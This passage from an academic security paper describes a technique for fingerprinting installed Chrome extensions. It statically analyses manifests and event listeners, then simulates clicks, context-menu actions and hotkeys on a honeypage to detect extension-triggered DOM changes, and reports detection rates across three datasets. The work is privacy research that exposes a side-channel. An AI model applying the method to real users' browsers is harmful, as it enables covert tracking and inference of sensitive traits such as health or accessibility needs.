that enable extensions to achieve their desired functionality.
Listing 1 shows a simplified example manifest file.

1 { "manifest_version": 2,
2 "background": {
3 "scripts": ["my-backgrnd.js"]},
4 "browser_action": {
5 "default_icon": {
6 "19": "button/button -19.png",
7 },
8 "default_title": "My title",
9 "default_popup": "popup/popup_page.html"},

10 "content_scripts": [
11 { "matches": ["<all_urls >"],
12 "js": ["content -script.js"]
13 }],
14 "permissions":

["activeTab","contextMenus","storage"]}

Listing 1: Simplified manifest example.

Background scripts. When a background script entry is
included in the extension’s manifest file, it is automatically
recognized by the browser, and the script runs as an indi-
vidual process. The background script contains HTML and
JavaScript code that implements the extension’s functionality.
Usually, the extension’s main logic is implemented in the
background, which operates independently from the rest of
the components. The background script communicates with
the content script through the browser’s Messaging API,
where it can issue individual requests and create long-lived
connections with the content script. Moreover, if the tabs
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permission is defined in the manifest, the background script
can directly inject a content script or a CSS context in the
page using the chrome.scripting.executeScript and
tabs.insertCSS() functions, respectively.

Browser action: Default popup. A browser action’s popup
is only shown when the user clicks on the extension’s action
button in the toolbar. The popup supports the typical HTML
elements and structures a webpage would support and is
automatically resized to fit its contents in the browser. The
popup is only initially set under the default_popup property
in the manifest, where its path is the relative path within the
extension’s directory. It also runs individually and communi-
cates with the content script through the Messaging API. The
popup page can also modify the website visually by injecting
a CSS context programmatically using tabs.insertCSS().

Content scripts are a crucial component since they are the
only scripts that can be injected into the webpage. Essentially,
extensions use content scripts to modify the webpage and
communicate with the background script through the built-in
APIs. Content scripts are typically declared statically in the
manifest under the dedicated entry, or are programmatically
injected. The manifest file can also define which domains
the content script will execute on, either by explicitly listing
them or defining a pattern that is matched to the visited
domain. In more detail, content scripts use DOM requests
to control the rendered page and can also inject custom event
listeners in the page to listen for specific events. Listing 2,
shows an example of a content script listening for specific
user-driven events and then performing a series of DOM
modifications. This provides flexibility to developers as it
allows them to include additional extension functionality
which can be triggered by various user behaviors.

1 //click event listener
2 element.addEventListener

("click" , function (event) {
3 //change the style of the element
4 element.style.color = "red";
5 });
6 //key event listener
7 document.addEventListener

("keydown" ,function (event) {
8 //check if the keycode matches
9 if (event.keyCode ==65) {

10 //modify the page
11 document.style.color = "black";
12 }});

Listing 2: Mouse and key event listeners in a content script.

Permissions. An extension’s ability to access websites and
browser APIs is controlled through the “permissions”manifest
entry. In general, permissions are restricted to those that the
extension needs, and a subset of entries is shared between ex-
tensions. For example, the contextMenu allows the extension
to include a context menu item (the menu that appears when
the user right-clicks with the mouse) and to listen for these
specific events in their content script. Finally the developer
can also define the domain that an extension can run on

(using http://*/*, https://*/*, or <all_urls>) if
the content script is not present in the manifest.

Motivating example. Prior research has demonstrated var-
ious methods for fingerprinting extensions [29, 32, 44, 47, 48]
and has explored the significant privacy risks they introduce.
These techniques allow attackers to not only infer specific
information about the user’s browsing environment (which
can be used to augment the user’s browser fingerprint) but
to also infer private and sensitive information about the user
(e.g., health issues, religion, etc.). However, all prior studies
overlooked the fact that many extensions are dynamic and
reactive and may require user interactions prior to triggering
their functionality. Since extensions may only modify
the web page after receiving a specific user-driven event,
extension fingerprinting frameworks that do not incorporate
and systematically explore user actions are overlooking a
core component of browser extension functionality.

This behavior is exemplified by the popular Chrome exten-
sion for Google Translate. When installed, a user can highlight
a word on the page and the extension will automatically
render a separate window on top of the page that includes the
translation for different languages. The same functionality
is triggered when the user highlights a term and fires the
extension’s context-menu item through the right-click menu.
These behaviors are reflected in modifications and additions
to the page’s DOM, which would allow an attacker controlling
the page to detect the changes and fingerprint the extension.

Threat model. We assume that the user visits a malicious
or privacy-invasive web page that aims to infer which exten-
sions the user has installed in their browser. Furthermore, we
are interested in extensions that run on all domains and do
not restrict their functionality to a specific set of domains, as
these extensions can potentially be detected by any attacker.
Additionally, we limit our focus to extension behaviors that in-
teract with or modify web pages after being triggered by user
actions (e.g., we do not explore Web Accessible Resources
as they have been extensively explored in prior studies).

3 Methodology

Here we present our methodology for identifying extensions
that exhibit fingerprintable behavior that is triggered by
user interactions. Our approach consists of two phases: (i)
a static analysis of extensions’ source code and manifest
files for identifying the types of interactions that can activate
them, and (ii) a dynamic exercising phase that leverages our
automation templates for simulating user interactions.

3.1 Preparatory Phase
We first analyze the extensions’ manifest files to identify
those that meet the requirements outlined in §2, indicating
that they potentially expect user interactions. Subsequently,
we statically analyze the extensions’ source code so as to
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identify the event listeners they implement and extract their
arguments. This allows us to understand the types of events
that extensions listen for. Based on the different types of
events that we observe, we generate appropriate behavioral
templates for automating the simulation of these interactions.

Manifest file. We are interested in extensions that (i) are
fingerprintable due to modifications to or interactions with
the visited page, and (ii) are not domain-specific (i.e., they run
on all domains). Since dynamically exercising extensions is
a time consuming process, we first parse the extension’s man-
ifest files and only select those that meet these criteria. This
will allow us to speed-up experiments by avoiding the costly
dynamic analysis phase for thousands of extensions which
will not exhibit fingerprintable behavior on arbitrary sites.

Since we want to identify extensions that can access and
modify a page’s DOM, we search for extensions that include
a content-scripts entry in their manifest. For such exten-
sions the developer also has to include a matches entry in the
manifest, specifying which domains the extension will run on.
For extensions that are not domain-specific, the values typi-
cally used are “<all_urls>” and “http://*, https://*”.
Furthermore, as described in §2, extensions can dynamically
execute a content script through their background scripts.
To identify such extensions we parse their manifest files
and select those that implement a background script and
require the “activeTabs” and “<all_urls>” permissions.
Subsequently, we statically analyze these background scripts
for identifying the ones that use the executeScript and
insertCSS APIs for dynamically running a content script
or injecting a CSS file into the web page.

Categories of user interactions. Through the preliminary
manual analysis of extensions we identified three general
categories of potential user interactions; we categorize the
different types of user actions as belonging to browser, mouse
and keyboard actions. Next, we outline how we perform an
initial selection of candidate extensions from each category
through our manifest analysis.

Browser actions. The first category includes interactions
that are initiated by the user when clicking on the extension’s
button (i.e. the extension’s icon typically shown next to the
browser’s address bar). In the simplest case, a user will click
on the extension button to activate it, which will result in the
extension executing its intended functionality. Extensions can
also include a popup page that is constructed by a separate
HTML file and appears when the extension’s button is clicked.
The popup may provide an interface that allows the user to
configure the extension, choose a mode of operation or alter
its functionality. Additionally, the popup may also require the
user to login, or even allow them to run specific functionalities
directly (e.g., play a video, control the volume). Enabling
this category of interactions requires that the extension has
a background script and implements an event listener that
captures click events on the extension’s button. Furthermore,
a browser_action entry needs to be included in the

manifest. Extensions that implement a popup also need to
define a default_popup in the manifest. As such, during the
preparatory phase we can identify which extensions support
interactions with their icon and popup, by parsing their
manifest files and looking for the aforementioned entries.

Mouse actions. For this category, an extension can specify
the contextMenus permission in its manifest to enable
“right-click” interactions. When this permission is requested,
the browser allows the extension to include additional
entries in the context menu (i.e., the menu that appears in
an overlay when pressing the mouse’s right button). These
newly included events are fired from the user’s mouse and
are processed by the respective extensions’ content scripts.

Keyboard actions. To handle keyboard-driven user
interactions the manifest can include a commands entry that
defines one or more keyboard shortcuts expected by the
extension. However, our initial exploration revealed that
extensions do not always define these commands in the
manifest; instead, it is more common to programmatically
check for keyboard events by including the appropriate event
listeners in their content scripts.

Static analysis. While analyzing the manifest files allows
us to create an initial set of candidate extensions, this provides
a limited view of extension’s user-driven capabilities. In fact,
extensions that leverage keyboard interactions are rarely evi-
dent from their manifest files. To uncover the user actions that
can potentially trigger extensions we need to statically analyze
extensions’ content scripts. Specifically, we need to identify
APIs and event handlers in the extensions’ content scripts that
expect events to be fired while the user interacts with the page.
We build upon the methodology introduced by Somé [46]
for detecting event listeners and extracting the events that
they listen for. First, we use Python’s jsbeautifier library
to deobfuscate extensions’ content scripts and obtain a
more “human readable” form of their source code. Then we
leverage Esprima [4] for parsing the content scripts’ code and
building their Abstract Syntax Trees (ASTs).

When the AST is created, we log the assignments to object
properties and the function definitions and calls. This gives us
detailed information regarding the type and value of each vari-
able and function, which we use for locating the functions that
expect events from the application (i.e., event listeners) and ex-
tracting their arguments. An event listener can exist as a stan-
dalone function or as a method for global objects and HTML
elements, while there are also various ways that an event
listener can be registered (e.g., window.addEventListener,
window[’addEventListener’]). As such, we take into
consideration all types of event listeners in each content
script (i.e., for the global object names of document, window,
top, self, this). Furthermore, the addEventListener API
has two arguments: (i) the message, which denotes the actual
event, and (ii) the function that is invoked when the event is
fired. We are only interested in the first argument, which is
a Literal specifying the type of the expected event.

720    31st USENIX Security Symposium USENIX Association



Table 1: List of mouse and keyboard events compiled based
on the findings of our static analysis.

Event Action Event Action
Keyboard Mouse

Keydown Scroll
Keyup Mousewheel

Keypress
Key Press

Wheel
Scroll

Mouse Cut

Right ClickDoubleclick Doubleclick Copy
Select Paste
Click ContextMenu

Mousedown Mouseenter
Mouseup Mouseout
Blur Mousemove
Focus

Click

Mouseover

Movement

After identifying all the events expected by our extensions,
we manually sorted through the list of expected events and
determined which ones can be triggered via user interactions
and which actions can generate these events. For a more
complete and accurate mapping, we also cross-referenced
our findings with official documentation [7,8]. This was done
once, after our preliminary analysis, and is a one-time cost as
the generated list covers all relevant event listeners. Table 1
presents the list of interaction types that we compiled and the
mapping between the various events and type of interactions
(i.e., behaviors) that can trigger them. For instance, events
like mousedown, click, blur and focus can all be triggered
when the user clicks on the page and the included elements.
In the following subsections we present how we design our
user interaction automation templates that include actions
that aim to trigger all the aforementioned events.

3.2 User Interaction Templates
The previous stage provides information about the extensions’
structure (i.e., whether they include a clickable button, a
popup page and a content menu) and the type of events they
listen for. We leverage that information for designing and
generating behavioral user interaction templates that reflect
human-driven user actions. Each template includes various
types of actions that correspond to coarse or fine-grained inter-
action activities, aiming to fire relevant events that can trigger
extension functionality. Based on our aforementioned cate-
gorization, we define three general templates that encompass
actions related to the browser, mouse and keyboard.

Browser actions. This template includes event-driven
actions related to the browser interface. In the simplest case
we have extensions that include a clickable browser button
(i.e., they are activated when a user clicks on their icon).
Upon activation these extensions might exhibit behavior
that would allow us to detect their presence, such as altering
the page or exchanging messages with the page; a popular
extension that exhibits this behavior is Mercury Reader. As
such, the simplest interaction that is defined in this template is
to locate and click on the extensions’ button. Next, extensions

that include a popup page will typically include elements
such as buttons and checkboxes, and provide an interface
for the user to initialize, configure or control the extension’s
functionalities. Indicative examples are Ublock and Ghostery,
where users interact with the popup pages to specify their
preferences and enable/disable them. For such extensions, our
template first defines the action of clicking on the extension’s
browser icon, so that the popup page will appear, and then
it interacts with the page’s element by clicking, selecting
elements, activating buttons, and navigating its content.

Mouse actions. Moving beyond the browser’s interface, we
define a template that covers the user’s interactions with the
visited page through mouse actions. To that end, we leverage
the findings from the static analysis of content scripts regard-
ing events that are fired by actions associated with the mouse.
In this template we model behaviors as sequences of mouse
actions that can trigger the aforementioned mouse event listen-
ers. In the simplest case, the click and doubleclick events are
fired when the user clicks or doubleclicks the mouse, respec-
tively. We also include the mousedown and mouseup events in
the click category, since these two events are fired when the
mouse button is pressed and released during a click. The focus
and blur events are content-related and can also be triggered
with a click action (e.g., the user clicks on a text input area
to focus or blur its content). Furthermore, the select event is
fired when text in the page is selected. Since text selection can
also be achieved by doubleclicking text, a doubleclick action
allows us to trigger both the select and doubleclick events.

In a similar way, we categorize all the mouse events
that can be triggered when mouse movement is involved.
Although events such as mouseenter and mouseover have
differences in how they are fired, in the general case they
are both fired at an element when the mouse cursor moves
over that element (e.g., one difference is that mouseover is
also fired when the cursor moves over the element’s children
nodes). The interactions in this template are designed to
trigger all movement events. Finally, the scroll, mousewheel,
and wheel events can be triggered by a mouse scroll using
the mouse wheel as well as the browser’s scroll buttons.

The last type of mouse event covers all the events that are
related to a context menu and are fired when a right-click
is involved. The browser offers the cut, copy and paste
functionalities in the context menu, and an extension can
include the respective event listeners to detect these actions.
Finally, the contextmenu event is fired when the user clicks
on the context menu entry set by an extension.

Keyboard actions. These actions focus on events that are
triggered when the user presses a keyboard key during the
page’s navigation. Our static analysis process uncovered three
event listeners defined in extensions’ source code that are
related to keyboard actions, all of which can be enabled by a
single action, as pressing and releasing a key triggers all three
events that they listen for. We define key actions that vary
from single keystrokes to combinations of multiple keys.
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Figure 1: During the preparatory phase, our system analyzes each extension’s manifest file and source code and extracts metadata
that we use for designing the user interaction templates. During the exercising phase, our system leverages these user interaction
templates to simulate realistic user actions, and creates behavioral signatures that enable fingerprinting user-triggered extensions.

4 Implementation Details

Here we present the implementation of our user-driven
extension-fingerprinting system. A high-level overview of
our system and analysis pipeline is provided in Figure 1.

Constructing a honeypage. Our goal is to trigger the
highest possible number of extensions that expect user interac-
tions. An extension that is triggered by such interactions may
require the user to interact with specific types of elements on
the page. Therefore, our testing framework needs to incorpo-
rate a honeypage, which we will visit and interact with when
exercising each extension, and capture any modifications
that occur. To that end, we leverage the code and dataset of
Carnus [29], which was able to capture modifications from
a large number of extensions, and build upon its honeypage.

We extend the honeypage by including various additional
elements that we will interact with during the experimenta-
tion phase. Specifically, we include textual terms and phrases
from the eight most used languages (i,e., English, Mandarin,
Russian, Japanese, Hindi, German, Arabic and French). Since
different languages share a subset of the same characters (e.g.,
English and Spanish), the terms we include may also trigger
extensions that expect terms in a language that we have not
explicitly included. Moreover, to satisfy all event listeners and
behavior requirements, we also include a typical HTML form
with username and email fields, and an input area where a
user can potentially input text or paste information. Such ele-
ments are appropriate for triggering specific mouse events like
select and focus, which are specifically designed for such
elements. Moreover, our honeypage contains different anchor
elements with link attributes, containing both inner domains
and external 3rd-party pages. As we detail in the next sub-
section, we instruct the framework to interact with the above
elements through a set of different user-simulated actions.

Applied user interactions. Having introduced the user in-
teraction templates in §3, here we dig deeper into the frame-
work design and detail the methods used to apply each tem-
plate. We start by performing simple and straightforward
actions that can trigger an extension on their own, and then

move to more complex interactions that are composed using a
sequence of actions. Furthermore, we distinguish actions that
depend on the page’s content (we refer to them as targeted
actions) and those that are independent of the page and its ele-
ments (referred to as generic actions). For example, a click can
be either targeted or generic – clicking somewhere on the page
is a generic action while clicking on a term is a targeted action.

Browser interactions. First, we detail our process for
generating actions based on the browser-event template.

Extension button. Our testing process starts by applying the
most straightforward action for the browser interactions, i.e.,
the user clicks on the extension’s icon. Without performing
any other interactions, this mouse click is sufficient for trigger-
ing certain extensions. Specifically, when a user clicks on the
extension’s icon, the click event is captured by the respective
event listener in the extension’s background script (if there is
such an event listener present), triggering the extension to run
its intended functionality. For instance, this could result in the
extension communicating with the page through its content
script for injecting elements or modifying the page’s code.

Next, we extend this simple action by including interac-
tions with the page’s content. In this scenario, the simulated
user first selects a page element (i.e., highlights a term) and
then clicks the extension’s icon. In triggered extensions the
selected value will be read by the content script and passed
to the background script, which will perform any additional
actions. For example, an extension that translates text would
expect the user to select a word or a sentence on the page and
then click the extension’s icon, in which case a translation
will be provided. We incorporate this type of interaction and
behavior in our framework under the browser action category.

Extension popup page. We follow a similar approach for
the external popup and option pages. In these extensions,
once the user clicks the extension’s icon, a separate HTML
page will appear underneath the icon. We have empirically
observed that developers typically design these popups to
be visually simple and easily accessible so as to help users
navigate. In our framework, once the simulated user clicks
on the extension’s icon and the external page loads, we focus
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on the popup page and click all elements (e.g., radio buttons,
checkboxes, and panels). Even without prior knowledge of
the page’s structure, we are able to interact with its elements
and components. For completeness we also include a text-
selection action in this template interaction i.e., we select a
term in the page and then interact with the popup’s elements.

As the popup page may include extension configuration
options that either enable the extension or alter its default be-
havior, interacting with its elements can trigger the extension
and lead to behavior that is observable by the page. The in-
teractions in this template are sufficient for handling the vast
majority of extensions. However, our template may not be able
to handle complex popup pages that require additional user
actions (e.g., installing other applications locally, registering
and logging into an account). We also adopt the same set of
interactions for Options Pages. The options page loads in a
separate browser page when the user installs the extension and
expect an initial configuration or modification of its current
settings. We apply the same rules to initiate the page’s behav-
ior and log all the modifications that occur in the honeypage.

Mouse interactions. Next, we detail our process for
generating actions based on the mouse-event template.

Clicks, doubleclicks & content selection. For the mouse ac-
tions template, we follow a building approach similar to that
of the browser-event template. The first building block con-
tains the simple left click (single or repetitive) that a user fires
upon visiting the page. This action is generic since it does
not interact with any page elements but fires an event to the
page itself. While extensions that contain such event listen-
ers are triggered by the fired mouse event, we have observed
that extensions may also require content-related actions,
including simple clicks or doubleclicks that select page ele-
ments and content. Following that principle, we incorporate
the selection of page elements into this template’s interactions.
Since the extension’s functionality could also rely on the lan-
guage of the content, we include terms of various languages in
our honeypage and emulate interactions with all these terms.

Copy, paste, scroll. The subsequent content-related actions
include the context menu (right-click) actions provided by
the browser interface (Copy, Cut, Paste) and the scrolling and
wheel events that reflect the user’s scrolling action. A copy
or cut event is only available if the user selects a term on
the page and then fires them through the context menu. We
expand the previous set of actions, including the selection of
a term followed by the copy and cut commands. Following
those commands, the paste action is dependent on the previ-
ous activities; as such we instruct our framework to paste the
copied content into an empty input area. We also replicate a
user’s behavior that copies information and pastes it into a spe-
cific empty area by activating and focusing on the input area.
For completeness, we also trigger a selection event by high-
light the content inside the input area, to trigger any additional
event listeners. The last action that we include is scrolling; as
before, we select a term on the page for completeness and per-

form the scrolling action, as a user would typically do. In prac-
tice, even if the term selection is not required by an extension’s
functionality it will not interfere with the scrolling action.

Context-menu items. In the last subset of mouse-related ac-
tions that our framework supports, we implement actions that
trigger context menu items added by extensions. Similar to
the left-click mouse events, the user might trigger the context-
menu item through various actions. The framework replicates
this behavior by triggering the extension element in different
parts of the page. Specifically, at first, it fires the right-click on
the page without specifying an element. Following the design
principle of the previously implemented set of actions, it se-
lects a term by highlighting it and then firing the same activity.
Our framework also replicates similar context-related events
by triggering the context-menu over a hyperlink of an anchor
element present on the honeypage and an image element.

Keyboard interactions. Finally, we detail our process for
generating actions based on the keyboard-event template.

Single, repetitive & combined keystrokes. Our framework
adheres to a similar strategy for the keyboard event templates
when simulating user interactions. The user will trigger a
keyboard event directly on the page or after selecting and
interacting with a page element. The framework performs the
following actions to replicate this set of interactions: first, it
sends a keyboard event directly on the page. Afterward, it
selects and highlights a page element (term) and then sends
the same key event again. Since we don’t know which key
event triggers the extension, we start by sending single actions
for all the available keyboard characters and symbols (e.g., al-
phabet characters, numbers, and special characters). We have
also observed that extensions may expect repetitive keyboard
events used as a “special" combination of keys. For this, we ex-
pand the initial set of interactions, and also include repetitive
keystrokes of the same character (e.g., an extension requires a
repetitive keystroke of b b to get triggered). Moving a step fur-
ther, we also include special keys (ctrl, alt, ctrl-alt,
ctrl-alt-shift) combined with the aforementioned key-
board characters and numbers. In order for our system to not
interfere with internal browser functionality we exclude short-
cut key combinations already defined and allocated by the
Chrome browser [2]. Our template is designed so as to exhaust
all potential key interactions that a typical user could trigger,
using this iterative process for creating keyboard events.

5 Experimental Setup

Interaction automation. Our framework for exercising
extensions is driven by the Chrome browser, which we
orchestrate using Selenium [11]. The most critical component
of our framework is our User Interaction Automator, which
leverages the PyAutoGUI module [9], a cross-platform GUI
automation Python module that is used to programmatically
control the mouse and keyboard. An important aspect of
this module’s functionality is that it uses the actual mouse
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and keyboard devices and simulates actions similar to how
a typical user would perform them. Additionally, since the
honeypage and browser are under our control, we know a
priori the position and size of each element and can replicate
each action from the interaction templates by providing the
x-y coordinates followed by the specific action. For exam-
ple, successively calling pyautogui.moveTo(100,500) and
pyautogui.doubleClick() will move the mouse to the
specified coordinates and then perform a mouse doubleclick.

Using this approach we handle the majority of the browser,
keyboard, and mouse interactions that we have defined, by
providing the coordinates of each element that we want to
include in our interaction and firing the respective events. We
follow a different approach for browser interactions that result
in a browser-external popup page; in such cases we rely on left
mouse clicks, and tab and spacebar key events. We found
that by combining these mouse and keyboard events we can
successfully navigate the popup page without prior knowledge
of its structure or content, changing the focus of elements,
and selecting/enabling elements like buttons and radio boxes.

Fingerprint generation. To collect extensions’ behavioral
signatures we follow a similar approach to prior work [29].
We load each extension into the browser and visit the honey-
page, wait for 15 seconds for the extension to initialize, load,
and perform any initial modifications on the page, and then
capture a snapshot of the page’s state. This snapshot contains
the page’s Outer HTML (DOM), the external resources loaded,
and the messages broadcast by the extension to the page. We
use the Performance API [12] to log any external resources
fetched, and include a message event listener in the page (i.e.,
document.addEventListener(“message”)) for logging
the messages that are broadcast. Finally, we store each
snapshot into a separate JSON document for analysis.

After the initial snapshot extraction, we apply the appro-
priate interactions according to the entries in the extension’s
manifest file. For example, we start by applying the template
for browser actions if a browser_action entry is defined
in the manifest. If the extension has a popup page, we
apply the template’s interactions with the popup page. After
that, we apply the templates that describe the mouse and
keyboard interactions. These two templates are applied to
all the extensions that we exercise. This allows our system
to compensate for any event listeners missed during the static
analysis of a given extension: even if we missed a listener
for a specific type of events, our collection of actions curated
from the static analysis of all the extensions will contain it.

After performing a given action, we wait for one second to
allow for the extension to perform any modifications and our
framework to capture them, before applying the next action.
We compare the snapshot obtained after each interaction with
the initial snapshot (i.e., the page’s original DOM) and the
one collected after the initial wait time. If any modification
is detected, we store the current snapshot and kill the browser
to remove any persistent modifications. When we finish

Table 2: Number of extensions detected in each dataset.

Dataset Extensions Detectable(%)

D1 27,342 2,932 (10.72%)
D2 3,311 1,432 (43.24%)
D3 9,446 1,167 (12.35%)
Total (all extension versions) 5,531
Total (unique extensions) 4,971

exercising an extension with one of the three templates, we
continue our process with the next template and repeat the
aforementioned steps. When all templates have completed,
we start a fresh browser instance to test a new extension.

6 Experimental Evaluation

Here we assess our system’s effectiveness at triggering and
fingerprinting extensions through user-driven interactions.
Datasets. In our analysis, we use three different datasets:
• Dataset_1 (D1): This includes the dataset used in the

Carnus [29] study. Originally it contained 102,482
extensions – after applying our filtering rules (§3) we are
left with 27,342 extensions.

• Dataset_2 (D2): Includes the detected extensions from
Fingerprinting In Style [32]. Originally this dataset
contained 4,446 extensions. To avoid overlap, after our
filtering we also removed extensions with identical versions
included in D1. We ended up with 3,311 extensions, which
also includes extensions with different versions to D1.

• Dataset_3 (D3): In May and June of 2021, we conducted
a crawl of Chrome’s Web Store to collect a more recent
snapshot of the store. After applying our filtering methods
we ended up with 9,446 extensions, from which 2,736 are
newer versions of the extensions included in the other two
datasets, while the remaining 6,710 are new extensions.

We will interchangeably refer to the datasets with their
identifiers and system or study name for the rest of our paper.

System setup. Prior to performing our experiments we
first deployed our honeysite on a popular web service hosting
environment. For our framework, we used two identical
off-the-shelf desktop machines with a 6-core Intel Core
i7-8700, 32GB of RAM, connected to our university’s
network. The PyAutoGui library [9] requires a connected
monitor to perform any interactions; to bypass that limita-
tions we modified our framework and built it into a Docker
Container [1]. To reduce potential browser-configuration
failures (e.g., an extension malfunctioning on a new browser
version due to updated APIs), for each dataset we used a
browser version contemporary to that dataset [3] (versions:
73.0.3683.68, 83.0.4103.39, and 92.0.4515.43).

Overview. Table 2 lists the number of detected extensions
per dataset. For the oldest dataset (D1), our framework
detects ≈11% of the extensions. Interestingly, for D2 the
detection percentage is significantly higher at 43%. This
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Table 3: Detectable extensions per behavioral template.

Browser Actions Mouse Actions Keyboard Actions
DOM MSG Total DOM MSG Total DOM MSG Total

D1 2,846 70 2,886 646 15 661 704 6 710
D2 868 29 895 506 6 512 634 - 634
D3 1,096 79 1,175 321 22 341 432 6 438

dataset is formed of extensions that inject CSS into the page;
by leveraging user interactions, we trigger the injection or
an interaction with already injected elements. Finally, in our
most recent dataset, we detect 1,167 (12.35%) extensions,
which is similar to the detection rate for D1.

To gain insights about the different types of interactions
and behaviors, in Table 3 we breakdown the different
templates and detection methods. As detailed in §5, each
fingerprint contains DOM modifications and/or internal
browser communication. However, our system did not trigger
any instances of external communication; this is expected
since extensions load necessary resources when installed or
at run-time. In regards to DOM modifications, the browser
actions have the highest detection rate demonstrating our
framework’s ability to simulate interactions expected by
extensions. Similarly, both keyboard and mouse events
trigger a large number of extensions. This supports our initial
motivation, as extensions often offer on-demand functionality
that is explicitly triggered only once users interact with them.

On the message-modification front, fingerprintable exten-
sions are significantly fewer than the other categories. Only a
small fraction require complex communications between priv-
ileged and unprivileged extension components, resulting in
only a few extensions being fingerprintable through message
exchanges. Upon analyzing the messages exchanged between
extensions and the page, we find that most include actions
that either initialize a DOM modification (e.g., showPopup,
dictionary_window:1) or include the type of interaction
(e.g., x:10,y:24) required by the extension’s functionality.

Modality. Extensions can be fingerprinted through
multiple types of interaction. We found that 80% require
one type of interaction, whereas 15% can be fingerprinted
through two different templates. The remaining 5% can be
fingerprinted by actions from all three behavioral templates.

6.1 Behavioral Templates
Browser actions. 53% of the extensions detected by browser
actions, across all datasets, are triggered by simply clicking on
the extension’s button. Moreover, 15.6% are triggered through
interactions with the extension’s popup page. This demon-
strates the importance of statically analyzing extensions’
manifests and not limiting our analysis to event listeners.

Mouse actions. A detailed breakdown of the interactions
specified in the mouse actions template is presented in Table 4.
We find that the page’s language can be an important factor,
since several extensions are only triggered when a specific
language is present. Language-specific behavior is common

Table 4: Unique set of extensions triggered per mouse action.

Mouse Action D1 D2 D3

Click/Doubleclick Page 4 6 4
Select English Term 20 9 4
Select Non-English Term 5 7 3
Copy-Paste-Scroll 8 5 6
Select Page Element 331 274 189
Right-Click Page 114 108 70
Right-Click Term/Link/Image 28 18 9
Right-Click Page Element 151 85 56

for extensions that offer, among others, dictionary-related and
translation-related functionality. At the same time, the major-
ity of extensions do not include such specializations and are
triggered whenever a user selects an arbitrary word or DOM
element. This behavior is consistent in all three datasets, with
the generic term selection fingerprinting the largest number
of extensions for “left-click” actions (90% on average).

We observe similar behavior for the context-menu function-
ality (three bottom rows of Table 4), where several extensions
are triggered only by selecting the appropriate context-menu
item without specifying any term or element on the page. This
reflects extension functionality that modifies the visited page
without any restrictions on its content. Nonetheless, 9.5%,
8.5%, and 6.6% of the extensions from the three datasets,
respectively, require a specific element to be selected on the
page (e.g., a term, link, or image) to be coupled with the
context-menu action. These are extensions whose functional-
ity is related to selected elements, and thus are not triggered
in any other way. In general, our experimental results confirm
our framework’s ability to fingerprint extensions that require
both simple as well as complex chains of user interactions.

Keyboard actions. Figure 2 shows the distribution of
different types of key events that trigger extensions. The
Hotkeys types 1,2,3 denote a combination of a key-character
with one, two, or three special keys (i.e., ctrl, alt, shift).
Our results show that single keystrokes and Hotkeys-2 have a
high frequency of occurrences across all datasets, indicating
that developers prefer the adoption of simple key shortcuts
over more complicated combinations that users are likelier
to mistype or forget. However, we detected an instance of
an extension that employs 7 different single keystrokes and
Hotkeys to provide users functionality. Finally, we also found
extensions that rely on complex triggering using 3 Hotkeys
(ctrl-alt-shift-<character>). Interestingly, the major-
ity are not triggered by actions from the other templates.

Comparison to prior work. Prior work has explored dif-
ferent ways of detecting browser extensions, using behav-
ioral modifications [29] and style modifications [32]. To
better understand the capabilities of our newly introduced
technique, we compare our detected extensions with the two
previous methods. When comparing with Carnus [29], we
only use the behavior-based detections (i.e., DOM, inter and
intra communications); we do not include WAR-based detec-
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Figure 2: Types of keyboard events that trigger extensions.

tions in our comparison, since Firefox already defends against
them [24] and Chrome recently introduced a new access-
control mechanism for limiting the exposure of resources
to specific pages [16]. Since we did not have access to the
complete dataset of Fingerprinting in Style [32] for our experi-
ment, we follow the authors’ approach and compute the upper
bound of the potentially fingerprintable extensions. Specifi-
cally, for each dataset we count the number of extensions that
inject CSS in pages, as denoted in their manifests. An exten-
sion that does not inject CSS rules cannot, by definition, be fin-
gerprinted via custom CSS properties. For the rest of our anal-
ysis we will use these subsets for any additional comparisons.

We are able to detect 2,932 extensions (2.8%) from the
entire D1 dataset compared to 6,381(6.2%) detected by Car-
nus, and 7,048 (6.8%) that could potentially be detected by
Fingerprinting In Style due to injected CSS. However, 64% of
our detected extensions are “invisible” to Carnus, and 63% to
Fingerprinting in Style, while 45% are not detectable by any
of these methods. Similarly, we compare the detection for the
D3 dataset, where we fingerprint 1,167 extensions (12.35%)
while Fingerprinting In Style can detect at most 2,933 (31%);
again, 45% of these extensions are only detected by our frame-
work. It is worth noting that the extensions that are only fin-
gerprintable by our system are highly dynamic and modify the
page only after user interaction. The other methods only detect
extensions modifications passively by observing the DOM
and, thus, these dynamic extensions are invisible to them.

In total, we are able to uniquely fingerprint 1,820 unique
extensions in datasets D1 and D3 that any of the approaches
would miss. Overall, our results demonstrate that our newly
proposed user-interaction-based fingerprinting technique is
a powerful addition to existing techniques as it significantly
expands coverage for previously-undetectable extensions.

6.2 Popularity & Longitudinal Analysis

Detected extensions types, prevalence & popularity. In
order to classify the fingerprintable extensions, we categorize
them based on their type as provided by the extension store.
For each dataset, the most popular category is “Productivity”,
which is expected since different extensions fall under this
category (e.g., translation and navigation functionalities). A

detailed overview of the extensions’ categories and popularity
can be found in the Appendix A.

To gain more insight, we also calculate their relative
popularity based on the number of installations. Specifically,
we calculate the popularity for the 2,932 detected extensions
of D1 and compare it with those fingerprinted by Carnus,
by Fingerprinting in Style, and extensions not detected by
any method. The extensions detected by our method have
been installed by 11,048 users on average, while for Carnus
and Fingerprinting in Style the popularity is 6,775 and 9,462
respectively. For the remaining undetected extensions, their
average number of downloads is 7,133. While this supports
prior findings by Karami et al. [29] that popular extensions are
likelier to offer more functionality (which can lead to being
fingerprintable), it also indicates that more popular extensions
are also more likely to include dynamic and customizable
functionality that is triggered through user interactions.

Versions. Our most recent dataset (D3) contains 2,736
extensions with newer versions of extensions included in the
older datasets D1 and D2. Of those, ≈ 9% are detected across
all datasets, i.e., remained fingerprintable over the span of
multiple years. Moreover, 5% were not detectable in the older
datasets (i.e., became fingerprintable in more recent versions),
and 6% were only detectable in older datasets (i.e., stopped
being fingerprintable). This is due to extensions modifying
their intended behavior or aspects of their functionality. We
manually inspected 50 randomly selected extensions, and
found that 32 either modified their source code or specified
the “permissions” or “externaly_connectable” entries in their
manifest so as to only run on specific domains. Also, 14
extensions offer the same functionality but without modifying
the DOM (e.g., using the browser’s popup window). Finally,
four extensions offer completely different functionality and
changed their behavior in the most recent version. In general,
whenever an extension updates, the fingerprinting-derived
signatures for that extension may also need to be updated.
This is true for the attacks presented in this paper as well
as for all prior techniques (web-accessible resources, DOM
modifications, etc.) that use some form of a side-channel to
infer the presence of an extension.

It is worth noting that 15% of the newly detected
extensions belong to the Accessibility category, which
could potentially allow the inference of sensitive user
characteristics. Our results indicate that an extension’s
